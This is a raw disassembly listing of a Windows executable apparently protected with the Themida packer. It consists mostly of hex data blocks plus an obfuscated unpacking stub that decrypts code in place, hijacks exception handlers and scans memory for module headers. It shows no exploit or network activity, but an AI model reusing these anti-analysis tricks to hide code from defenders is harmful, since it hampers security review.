		dd 56FC4200h, 65685400h, 6164696Dh, 1Ch	dup(0)
		dd 747B800h, 5Eh, 2 dup(0)
		dd 0BFF9FF00h, 4Bh, 2 dup(0)
		dd 100h, 4 dup(0)
		dd 6B08EB00h, 9361F354h, 1Eh, 5D441B00h, 0B9h, 100h, 9C6FB000h
		dd 56F85136h, 0BFFFFF00h, 7 dup(0)
		dd 100h, 41A62400h, 0C6h, 2 dup(0)
		dd 100h, 1Bh dup(0)
		dd 0D38DFD00h, 40h, 0E7A83700h,	5ED23077h, 1, 4	dup(0)
		dd 0FF93EC00h, 12FFA4FFh, 0
		dd 57303000h, 200h, 4 dup(0)
		dd 6C2700h, 0
		dd 0E7A83700h, 177h, 5A6A1000h,	3 dup(0)
		dd 0FAFFFE00h, 0FFh, 0Ch dup(0)
		dd 584C1600h, 9E0FE600h, 0FE030400h, 5800007Fh,	0
		dd 0A7D75000h, 38h, 4 dup(0)
		dd 22200h, 2 dup(0)
		dd 0A5D72B00h, 5A0000FFh, 2, 0
		dd 5AF8E600h, 0
		dd 0FE030400h, 7Fh, 0
		dd 0FE030400h, 9F915B7Fh, 5 dup(0)
		dd 0DD189A00h, 77h, 5 dup(0)
		dd 5CFF4000h, 4	dup(0)
		dd 0B087C000h, 9F939300h, 0
		dd 578C0600h, 0
		dd 0E50000h, 3 dup(0)
		dd 3A000h, 2 dup(0)
		dd 3F9F800h, 0Ah dup(0)
		dd 5A270600h, 0Ah dup(0)
		dd 72D000h, 2 dup(0)
		dd 0E75CB500h, 77h, 0
		dd 0FA090C00h, 7978EB7Fh, 5Bh, 0
		dd 0FE030400h, 7Fh, 8 dup(0)
		dd 0FFFFFF00h, 0FFh, 4 dup(0)
		dd 0A2E9D900h, 7Bh, 5 dup(0)
		dd 5A8D1E00h, 4	dup(0)
		dd 800300h, 2 dup(0)
		dd 0FF000000h, 0FFh, 2 dup(0)
		dd 12FF5400h, 3	dup(0)
		dd 6A6000h, 7853h, 0A99F1900h, 0EF4254FFh, 5, 3	dup(0)
		dd 0A34B3000h, 0F6h, 2 dup(0)
		dd 8C00h, 0BE8D8D00h, 6Fh, 6C2700h, 0FE030400h,	7Fh, 3 dup(0)
		dd 0FE030400h, 7Fh, 5 dup(0)
		dd 0D50EA800h, 0FB8D8DFBh, 8881h, 0A0156800h, 8	dup(0)
		dd 56FB1400h, 2	dup(0)
		dd 0A702B900h, 0A03268FFh, 4 dup(0)
		dd 1C53D00h, 0
		dd 59000000h, 53AFDF02h, 2 dup(0)
		dd 0D3EA00h, 0FE030400h, 7Fh, 0Fh dup(0)
		dd 0FFFFFF00h, 0E7A144FFh, 77h,	605FF100h, 53E075FFh, 6	dup(0)
		dd 9000h, 0
		dd 0BCFE7A00h, 0FDh, 2 dup(0)
		dd 0EACCCC00h, 27h, 8 dup(0)
		dd 625CED00h, 7Fh, 0
		dd 0F5000000h, 77h, 3 dup(0)
		dd 0B4A4CF00h, 8412h, 0A99F1900h, 0FFh,	0
		dd 0A6C7A600h, 4FFh, 2 dup(0)
		dd 592BEB00h, 0F9214000h, 14h, 0
		dd 67B2E700h, 0EBh, 3 dup(0)
		dd 0E83E6800h, 77h, 0
		dd 1BBC00h, 12FF5400h, 2 dup(0)
		dd 0A8AC4500h, 0FFh, 8000h, 2 dup(0)
		dd 0D92C7700h, 55h, 5912A800h, 0
		dd 0C530DF00h, 0A9h, 53F4E000h,	5763C800h, 5 dup(0)
		dd 6C2700h, 0AD51300h, 6Ch, 5 dup(0)
		dd 5763C800h, 4	dup(0)
		dd 57AAC000h, 7	dup(0)
		dd 0C12C4600h, 0FEh, 0
		dd 9FA00F00h, 7	dup(0)
		dd 57693600h, 0Ah dup(0)
		dd 0A5314500h, 0FFh, 4 dup(0)
		dd 0C20200h, 5 dup(0)
		dd 0FFBF1500h, 0FFh, 97E900h, 0
		dd 22200h, 7 dup(0)
		dd 5A9DAD00h, 0F9h, 0E72100h, 3	dup(0)
		dd 59860300h, 10E800h, 3 dup(0)
		dd 3600000h, 5 dup(0)
		dd 6C2700h, 0F78D8D00h,	38CBh, 1Bh dup(0)
		dd 0F4A3FD00h, 75h, 0D7CF8500h,	59886B80h, 3 dup(0)
		dd 0AC2A3300h, 0FFh, 8 dup(0)
		dd 0C2076B00h, 5Dh, 0E78B8200h,	77h, 0E7AC5E00h, 56D3EA77h
		dd 59298F00h, 4	dup(0)
		dd 263E0300h, 44h, 0Fh dup(0)
		dd 0A0155C00h, 3 dup(0)
		dd 9F3E3B00h, 15662200h, 32h, 0FE030400h, 7Fh, 0
		dd 600h, 0
		dd 8F1E4300h, 7Dh, 5 dup(0)
		dd 592A5E00h, 0
		dd 0E52BCF00h, 0FFh, 8 dup(0)
		dd 5A3DFD00h, 0
		dd 5C3A4300h, 444E4957h, 5C53574Fh, 74737953h, 32336D65h
		dd 5644415Ch, 33495041h, 6C642E32h, 6Ch, 39h dup(0)
		dd 100h, 3BC00h, 0FE030400h, 7Fh, 200h,	0DD00000h, 0F4A43500h
		dd 7Fh,	5F6EDF00h, 0
		dd 58022000h, 3	dup(0)
		dd 0EC5400h, 80h, 4 dup(0)
		dd 0FC637600h, 77h, 3 dup(0)
		dd 30694600h, 5753BBBBh, 7D100h, 0
		dd 100h, 4 dup(0)
		dd 0E78B8200h, 77h, 3 dup(0)
		dd 0D33DE000h, 0E7A09943h, 0FE3AC477h, 583FFBFFh, 4 dup(0)
		dd 9E000000h, 6	dup(0)
		dd 100h, 712EF100h, 5Dh, 3 dup(0)
		dd 40000C00h, 2, 3 dup(0)
		dd 5A0D3400h, 9FA00F00h, 8 dup(0)
		dd 2A1200h, 747B900h, 5Eh, 0
		dd 605FF100h, 0FFh, 4 dup(0)
		dd 7C00h, 0
		dd 53D5CD00h, 0
		dd offset loc_564300
		dd 0E7A5FD00h, 0B5E277h, 6 dup(0)
		dd 8A000000h, 2, 0A16A9300h, 0A3h, 2 dup(0)
		dd 77C00h, 4 dup(0)
		dd 9FA00F00h, 4	dup(0)
		dd 0FF91A000h, 0FFh, 0
		dd 5744FD00h, 5	dup(0)
		dd 0FE030400h, 7Fh, 2 dup(0)
		dd 2 dup(200h),	0
		dd 1900h, 57E79C00h, 5753CD00h,	9F6CB000h, 0
		dd 4D5C1500h, 0B920F006h, 6 dup(0)
		dd 0F78D1C00h, 7Fh, 3 dup(0)
		dd 5A3A2400h, 2	dup(0)
		dd 0CE800h, 2 dup(0)
		dd 0FE030400h, 0FFDB17Fh, 92h, 9D6CE100h, 0D9606B80h, 0Fh
		dd 2 dup(0)
		dd 59BD6900h, 7	dup(0)
		dd 5A4B8300h, 0Ch dup(0)
		dd 0E1FC3400h, 27h, 2 dup(0)
		dd 8EB00h, 5 dup(0)
		dd 0E82FE800h, 77h, 2Ch	dup(0)
		dd 436B9200h, 19h, 4 dup(0)
		dd 2D343000h, 31h, 6 dup(0)
		dd 9F69DD00h, 0Ah dup(0)
		dd 0E8216800h, 6F27A77h, 67h, 3	dup(0)
		dd 57846900h, 0
		dd 53FA7200h, 5	dup(0)
		dd 0FE030400h, 7Fh, 0FE030400h,	7Fh, 0Ah dup(0)
		dd 0FE030400h, 7Fh, 0
		dd 2209FC00h, 0D8h, 0
		dd 40100000h, 5	dup(0)
		dd 5753BB00h, 3CC0000h,	3 dup(0)
		dd 0A8FFDD00h, 0FFh, 5892E100h,	4 dup(0)
		dd 0FFF81800h, 0FFh, 3 dup(0)
		dd 0D4000000h, 3A59FD77h, 49h, 20DA3100h, 24h, 6 dup(0)
		dd 0FE030400h, 7Fh, 8 dup(0)
		dd 0E7614D00h, 77h, 0
		dd 58830200h, 3	dup(0)
		dd 1E5700h, 0
		dd 100h, 5BFFFC00h, 4 dup(0)
		dd 0FE030400h, 7Fh, 2 dup(0)
		dd 16A4900h, 60h, 4 dup(0)
		dd 0E7A14400h, 77h, 3 dup(0)
		dd 1000h, 3 dup(0)
		dd 56602C00h, 0
		dd 0EACCCC00h, 27h, 2 dup(0)
		dd 0A17FD800h, 4 dup(0)
		dd 9F923400h, 58F32300h, 57693600h, 5 dup(0)
		dd 100h, 2 dup(0)
		dd 0FE030400h, 7Fh, 3 dup(0)
		dd 9EB16800h, 0
		dd 100h, 0
		dd 53D5CD00h, 3	dup(0)
		dd 679000h, 0
		dd 87CA0600h, 1E8h, 4 dup(0)
		dd 28010500h, 0Ah, 5 dup(0)
		dd 0C530DF00h, 0A9h, 4 dup(0)
		dd 0FE030400h, 7Fh, 3 dup(0)
		dd 7E800h, 3 dup(0)
		dd 2EAC4500h, 9F69DDF0h, 2 dup(0)
		dd 35B00h, 3 dup(0)
		dd 53E48500h, 0
		dd 0A1731600h, 4 dup(0)
		dd 0FE030400h, 7Fh, 2 dup(0)
		dd 693600h, 58000000h, 2, 26h dup(0)
		dd 0FE030400h, 7Fh, 13h	dup(0)
		dd 5B05AF00h, 5	dup(0)
		dd 45046C00h, 3Eh, 486B9C00h, 2, 0FE030400h, 5700237Fh
		dd 498D8D00h, 0E7C486A6h, 9E0A9A77h, 2 dup(0)
		dd 5A786A00h, 9	dup(0)
		dd 501A5800h, 0E3h, 9400h, 2 dup(0)
		dd 0AC1B7B00h, 0FFh, 0
		dd 58619A00h, 5	dup(0)
		dd 7CBF00h, 7 dup(0)
		dd 0E7A83700h, 77h, 2 dup(0)
		dd 57D83F00h, 6	dup(0)
		dd 0C530DF00h, 0A9h, 0FC098200h, 0F8h, 3 dup(0)
		dd 0D38D8D00h, 56FAEC40h, 58000100h, 3 dup(0)
		dd 29905100h, 5A5D285Fh, 2 dup(0)
		dd 12FF5400h, 5A0D0400h, 0
		dd 0A5710F00h, 0FFh, 3 dup(0)
		dd 8A070100h, 2, 0AD000000h, 0D153BB00h, 3040Fh, 0
		dd 30DF00h, 2 dup(0)
		dd 3B2A000h, 2B00h, 5F9C3D00h, 49h, 0BF002200h,	0A015684Bh
		dd 2 dup(0)
		dd 6C956000h, 5B232B97h, 0Ah dup(0)
		dd 90A75500h, 0BEh, 6C2700h, 3 dup(0)
		dd 123E900h, 0
		dd 57CAB700h, 3	dup(0)
		dd 100h, 53002300h, 0
		dd 0D2FCD600h, 78h, 0
		dd 0FB5E200h, 97A7208Ah, 9825h,	5 dup(0)
		dd 0FF9AC000h, 0FFh, 0
		dd 0C3BBCD00h, 18h, 4 dup(0)
		dd 58DD0100h, 2	dup(0)
		dd 9AFB7200h, 1, 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53EF15:				; CODE XREF: start:loc_53BC74j
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 60332ABh
		mov	[ebp+60313F1h],	edx
		mov	[ebp+6031B1Dh],	esi
		mov	[ebp+6030461h],	eax
		cmp	dword ptr [ebp+6030A71h], 0
		jz	short loc_53EF4D
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_53EF4D:				; CODE XREF: start+5EF2Bj
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+6030C0Dh],	eax
		push	45h
		call	sub_53F001
		push	783749Ah
		call	sub_53F047
		push	0A894B25h
		call	sub_53F047
		jmp	loc_53F18B
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 45h
		dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h
		dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah
		dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh
		dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h
		dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h
		dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh
		dd 0C1C0BFBEh, 0C3C2h, 2 dup(0)
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_53F001	proc near		; CODE XREF: start+5EF45p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 6033399h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_53F01D:				; CODE XREF: sub_53F001+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_53F03C
		mov	eax, [ebp+arg_0]
		mov	[ebx+6033303h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_53F01D
; ---------------------------------------------------------------------------


loc_53F03C:				; CODE XREF: sub_53F001+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_53F001	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_53F047	proc near		; CODE XREF: start+5EF4Fp start+5EF59p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 60333E2h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_53F06D:				; CODE XREF: sub_53F047+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_53F06D
		mov	[ebp+var_84], 0
		lea	edi, [edx+6033303h]
		lea	esi, [ebp+var_80]


loc_53F09D:				; CODE XREF: sub_53F047+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_53F0A9:				; CODE XREF: sub_53F047+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_53F0A9
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_53F09D
		popa
		leave
		retn	4
sub_53F047	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_53F0E7
; ---------------------------------------------------------------------------


loc_53F0E3:				; CODE XREF: Themida_:0053F0EAj
		inc	dword ptr [ebp-4]
		inc	esi


loc_53F0E7:				; CODE XREF: Themida_:0053F0E1j
		cmp	byte ptr [esi],	0
		jnz	short loc_53F0E3
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_53F178
; ---------------------------------------------------------------------------


loc_53F0F9:				; CODE XREF: Themida_:0053F17Bj
		mov	dword ptr [ebp-8], 0
		jmp	short loc_53F16F
; ---------------------------------------------------------------------------


loc_53F102:				; CODE XREF: Themida_:0053F173j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_53F15C
; ---------------------------------------------------------------------------


loc_53F112:				; CODE XREF: Themida_:0053F160j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_53F134
		cmp	bl, 39h
		ja	short loc_53F134
		sub	bl, 30h
		jmp	short loc_53F156
; ---------------------------------------------------------------------------


loc_53F134:				; CODE XREF: Themida_:0053F128j
					; Themida_:0053F12Dj
		cmp	bl, 61h
		jb	short loc_53F146
		cmp	bl, 66h
		ja	short loc_53F146
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_53F156
; ---------------------------------------------------------------------------


loc_53F146:				; CODE XREF: Themida_:0053F137j
					; Themida_:0053F13Cj
		cmp	bl, 41h
		jb	short loc_53F156
		cmp	bl, 46h
		ja	short loc_53F156
		sub	bl, 41h
		add	bl, 0Ah


loc_53F156:				; CODE XREF: Themida_:0053F132j
					; Themida_:0053F144j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_53F15C:				; CODE XREF: Themida_:0053F110j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_53F112
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_53F16C
		mov	eax, [ebp-10h]
		stosb


loc_53F16C:				; CODE XREF: Themida_:0053F166j
		inc	dword ptr [ebp-8]


loc_53F16F:				; CODE XREF: Themida_:0053F100j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_53F102
		add	edx, 4


loc_53F178:				; CODE XREF: Themida_:0053F0F7j
		cmp	edx, [ebp-4]
		jb	loc_53F0F9
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53F18B:				; CODE XREF: start+5EF5Ej
		mov	ecx, 7000h
		lea	edi, [ebp+6033528h]


loc_53F196:				; CODE XREF: start+5F186j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_53F196
		mov	eax, 48692121h
		mov	edx, 0F00E0000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+603360Ah]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		movsx	ebx, si
		pusha
		movsx	esi, ax
		popa
		sub	eax, edx
		mov	ebx, esi
		and	eax, 0FFFFF000h
		call	near ptr loc_53F1DD+9


loc_53F1DD:				; CODE XREF: start+5F1C4p
		mov	dword ptr [ebx+43798A74h], 600E130Bh
		mov	si, bx
		mov	di, bx
		popa
		pop	ebx
		mov	bl, ch
		mov	ecx, edx
		xor	edi, edi


loc_53F1F5:				; CODE XREF: start+5F1FCj
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_53F20A
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_53F212


loc_53F20A:				; CODE XREF: start+5F1E6j
		sub	eax, 1000h
		inc	edi
		jmp	short loc_53F1F5
; ---------------------------------------------------------------------------


loc_53F212:				; CODE XREF: start+5F1F4j
		pop	large dword ptr	fs:0
		add	esp, 4
		lea	edx, [ebp+603361Dh]
		push	edx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_53F24C
		mov	esi, [eax+1Ch]


loc_53F24C:				; CODE XREF: start+5F233j
		xor	eax, eax


loc_53F24E:				; CODE XREF: start+5F24Dj
		cmp	eax, 32h
		jz	short loc_53F272
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_53F263


loc_53F25A:				; CODE XREF: start+5F25Cj
		sub	esi, 10000h
		inc	eax
		jmp	short loc_53F24E
; ---------------------------------------------------------------------------


loc_53F263:				; CODE XREF: start+5F244j
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_53F2B4
		jmp	short loc_53F25A
; ---------------------------------------------------------------------------


loc_53F272:				; CODE XREF: start+5F23Dj
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 8B51h
		dd 8110244Ch, 0B0A9h, 100000h, 0C0335900h, 4C8B51C3h, 0E8551024h
		dd 0
		dd 28ED815Dh, 8D060336h, 335E685h, 0B8818906h, 5D000000h
		dd 0C3C03359h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53F2B4:				; CODE XREF: start+5F25Aj
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		push	esi
		jnz	loc_53F2C7
		cmc


loc_53F2C7:				; CODE XREF: start+5F2ACj
		pop	ebx
		mov	bl, ch
		mov	bl, 0F9h
		mov	cx, ds
		mov	bl, 80h
		and	cl, 4
		and	ebx, 3185EFC9h
		or	cl, cl
		jnz	loc_53F320
		push	0
		push	edx
		call	sub_53F2ED
		and	[edx-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_53F2ED	proc near		; CODE XREF: start+5F2D1p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_53F2ED	endp

; ---------------------------------------------------------------------------
		db 0A9h, 80h, 0D7h
		dd 9185C719h, 106031Eh,	81000000h, 0B1E184C3h, 16E964h
		dd 81660000h, 661799D3h, 0AD4FC381h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53F320:				; CODE XREF: start+5F2C8j
		mov	dword ptr [ebp+6031E91h], 0
		mov	bh, al
		mov	[ebp+6031359h],	eax
		jo	loc_53F33A
		mov	bh, cl


loc_53F33A:				; CODE XREF: start+5F31Ej
		mov	[ebp+60328C9h],	eax
		call	sub_53F34A
		mov	dh, 16h
		sub	cl, bh
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_53F34A	proc near		; CODE XREF: start+5F32Cp
		cld
		pop	edi
		add	edi, 7529h
		push	ebx
		cld
		pop	edx
		mov	eax, 1D13h
		jmp	loc_53F36C
; ---------------------------------------------------------------------------
		db 83h
		dd 9D807870h, 0C4C9E7DEh, 3B8C8C1h
; ---------------------------------------------------------------------------


loc_53F36C:				; CODE XREF: sub_53F34A+10j
					; sub_53F34A+CCj
		mov	ebx, [edi]
		and	si, 29F6h
		sub	ebx, 4451C8DDh
		jmp	loc_53F387
; ---------------------------------------------------------------------------
		dw 11ADh
		dd 0F58619Bh
		db 0F4h, 0E9h, 28h
; ---------------------------------------------------------------------------


loc_53F387:				; CODE XREF: sub_53F34A+2Fj
		xor	ebx, 4EC23383h
		sub	ebx, 3B1E05E7h
		jmp	loc_53F3A5
; ---------------------------------------------------------------------------
		dd 0A29D7C59h, 0BBBD305Fh, 0C3869FD9h
		db 9Fh
; ---------------------------------------------------------------------------


loc_53F3A5:				; CODE XREF: sub_53F34A+49j
		push	ebx
		mov	ecx, 78B6F940h
		pop	dword ptr [edi]
		jmp	loc_53F3C2
; ---------------------------------------------------------------------------
		dw 0C6FCh
		dd 1AF848FAh, 0D4A2D0B0h, 0E669CC6Eh
		db 0D8h, 8Dh
; ---------------------------------------------------------------------------


loc_53F3C2:				; CODE XREF: sub_53F34A+63j
		sub	edi, 5E664BC2h
		stc
		add	edi, 5E664BBEh
		or	si, 7772h
		sub	eax, 1
		jnz	loc_53F411
		jmp	loc_53F3F9
; ---------------------------------------------------------------------------
		db 2Ah,	57h, 0EDh
		dd 756B429Ah, 211CA208h, 4FED4B2h, 1D6A4CABh
		db 3Fh
; ---------------------------------------------------------------------------


loc_53F3F9:				; CODE XREF: sub_53F34A+96j
		jmp	loc_53F426
; ---------------------------------------------------------------------------
		dw 2AC0h
		dd 0CFE97552h, 417743C5h, 0C03B5568h, 28939761h
		db 6Ch
; ---------------------------------------------------------------------------


loc_53F411:				; CODE XREF: sub_53F34A+90j
		mov	ecx, 4FA0A0B9h
		jmp	loc_53F36C
; ---------------------------------------------------------------------------
		db 0EDh
		dd 6A558153h, 9776028Ch
		db 4Eh,	0E1h
; ---------------------------------------------------------------------------


loc_53F426:				; CODE XREF: sub_53F34A:loc_53F3F9j
		call	sub_53F434
		rcl	byte ptr [eax-5Dh], 35h
		xlat
		lodsb
		int	0C5h		; used by BASIC	while in interpreter
		pop	ecx
sub_53F34A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_53F434	proc near		; CODE XREF: sub_53F34A:loc_53F426p
		jge	loc_53F43F
		push	eax
		and	ch, 7
		pop	ebx


loc_53F43F:				; CODE XREF: sub_53F434j
		pop	edx
		jmp	loc_53F458
; ---------------------------------------------------------------------------
		db 56h,	0CFh, 68h
		dd 69F80DA3h, 440961FAh, 0B9DED757h, 0CDD37257h
; ---------------------------------------------------------------------------


loc_53F458:				; CODE XREF: sub_53F434+Cj
		add	edx, 68ADh
		mov	ecx, 6435AD84h
		mov	eax, 20B3B6C9h
		add	eax, 0DF4C6335h
		call	sub_53F483
		iret
sub_53F434	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 0D2AF9BA7h, 0F986F5F6h, 983A5480h
		db 19h,	0FBh, 42h

; =============== S U B	R O U T	I N E =======================================



sub_53F483	proc near		; CODE XREF: sub_53F434+3Ap
		call	near ptr loc_53F490+1
		sbb	byte ptr [ecx-4Ch], 0A8h ; CODE	XREF: sub_53F483:loc_53F490j
		leave
		push	edi
		add	bl, [edi]


loc_53F490:				; CODE XREF: sub_53F483p
		js	short near ptr loc_53F488+2
sub_53F483	endp ; sp-analysis failed

		pop	ebx
		pop	edi


loc_53F494:				; CODE XREF: Themida_:0053F4DCj
		push	dword ptr [edx]
		movzx	ebx, bx
		pop	esi
		mov	ecx, 86D6900h
		sub	esi, 10942508h
		xor	di, 38BCh
		xor	esi, 38C2F2A3h
		mov	ecx, ebx
		sub	esi, 6663AFEDh
		jo	$+6
		push	esi
		pop	dword ptr [edx]
		jp	$+6
		sub	edx, 1BC7E6C0h
		mov	cx, bx
		add	edx, 1BC7E6BCh
		and	di, 223Ah
		dec	eax
		jnz	loc_53F494
		mov	ebx, edx
		jmp	loc_53FC66
; ---------------------------------------------------------------------------
		db 60h,	0B2h, 47h
		dd 0CA8B6660h, 1AA19D89h, 61610603h, 217h, 6031E8Dh, 8B600000h
		dd 32E61B5h, 0CE906h, 5B860000h, 9474DD97h, 0CDF0DC11h
		dd 6061E641h, 14E9h, 1EA3E300h,	0B8FD6C20h, 275FAF1Eh
		dd 0F41CA7BAh, 2FC4FFA4h, 0B8B4h, 9D090000h, 6030CF5h
		dd 2824548Bh, 0AD8589F9h, 0F060312h, 68Dh, 1D952900h, 0BE060322h
		dd 3Ch,	188E0Fh, 8D0F0000h, 12h, 0DE9h,	530F0D00h, 0C145FF2Bh
		dd 79111BFFh, 74036838h, 5E92424h, 9A000000h, 0A885B517h
		dd 14E9AD66h, 0F9000000h, 2618D32Fh, 5995BE8Ch,	0EFD354F7h
		dd 75830B53h, 3052710h,	0E9242444h, 0Dh, 432BD75Ah, 0A03BF5FDh
		dd 0BF7080F5h, 0FE95098h, 1000000h, 85418ACCh, 1969097Ch
		dd 5E08B1FAh, 489CF56h,	408BF524h, 299D2978h, 3060311h
		dd 0F282444h, 180h, 408BF900h, 6800F18h, 29000000h, 32CA99Dh
		dd 5E94006h, 11000000h,	0CE46D920h, 38848589h, 830F0603h
		dd 0Ch,	6850Fh,	8A0F0000h, 0
		dd 11E958h, 4C8C0000h, 0D9593F95h, 8FEB96DDh, 2C6EF41Eh
		dd 8B91062Bh, 13E97870h, 3D000000h, 86ADF3B7h, 0D99D5D61h
		dd 0AEF76359h, 0FFD2EE24h, 0C683AA22h, 7403FC1Ch, 0E8602424h
		dd 12h,	0A048B20Dh, 62F0ABB8h, 505EBA8Ch, 0AB1A5531h, 9509768Ah
		dd 6030CB1h, 0E98D8B5Ah, 61060311h, 31C1BD8Dh, 0F5600603h
		dd 2051958Bh, 0AD610603h, 1B89B589h, 44030603h,	0BD892424h
		dd 6030345h, 0A830FABh,	0E9000000h, 5, 71E2F6D9h, 51BD8D3Fh
		dd 0F8060310h, 3D9D2360h, 8A060303h, 0E9AD61F9h, 14h, 0FD3188D1h
		dd 89B81E6Bh, 9228A9EFh, 0EC3681C2h, 8A147985h,	24244403h
		dd 1AE59589h, 0F900603h, 1586h,	10E900h, 69390000h, 2838B969h
		dd 0A68CCE9Bh, 0BCB6107Eh, 50505538h, 48B76052h, 0F61DA8Bh
		dd 15800F31h, 0E9000000h, 10h, 0E1EA5BDBh, 0B56B026Bh
		dd 86D5DAF1h, 0E54CFCD9h, 990585Ah, 31C09B5h, 9589AB06h
		dd 60303C5h, 2259BD8Dh,	81600603h, 0DE0252CFh, 9D336029h
		dd 6031015h, 13FD9D8Bh,	61610603h, 0C19589ADh, 306031Bh
		dd 0F282444h, 688h, 2D9D3100h, 0F5060304h, 89F860ABh, 313A19Dh
		dd 0E95E6106h, 0Bh, 55AB7B0Eh, 5A4D421Ch, 0FF336F8Ah, 338848Dh
		dd 84BD8306h, 60338h, 44C71075h, 1C24h,	0B58D0000h, 6033DCDh
		dd 0AD56E6FFh, 28244403h, 8ADF8B97h, 32F3985h, 74C08406h
		dd 75073A04h, 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh, 8B49C933h
		dd 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah,	66EBD166h
		dd 973D8D1h, 50413566h,	49F38166h, 75CEFE54h, 33C833EBh
		dd 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah
		dd 0C6835E0Fh, 0AD85FF04h, 0E9060312h, 0FFFFFF6Fh, 0E8D0F5Eh
		dd 60000000h, 0B3D858Bh, 0B58B0603h, 6030289h, 13860F61h
		dd 0E9000000h, 0Eh, 0BFF2E2D1h,	0EC56FDEAh, 0EBA836A5h
		dd 858B1B69h, 60312ADh,	14E9h, 480CC200h, 65B9ECCAh, 744A3E28h
		dd 25605CABh, 62EF1CF0h, 0E9E0D1E1h, 0Eh, 34CAE0D2h, 3A693830h
		dd 0E412EB5Bh, 850386E4h, 6032259h, 6820Fh, 8D290000h
		dd 60326D5h, 0FE9F62Bh,	74000000h, 623013Bh, 24010259h
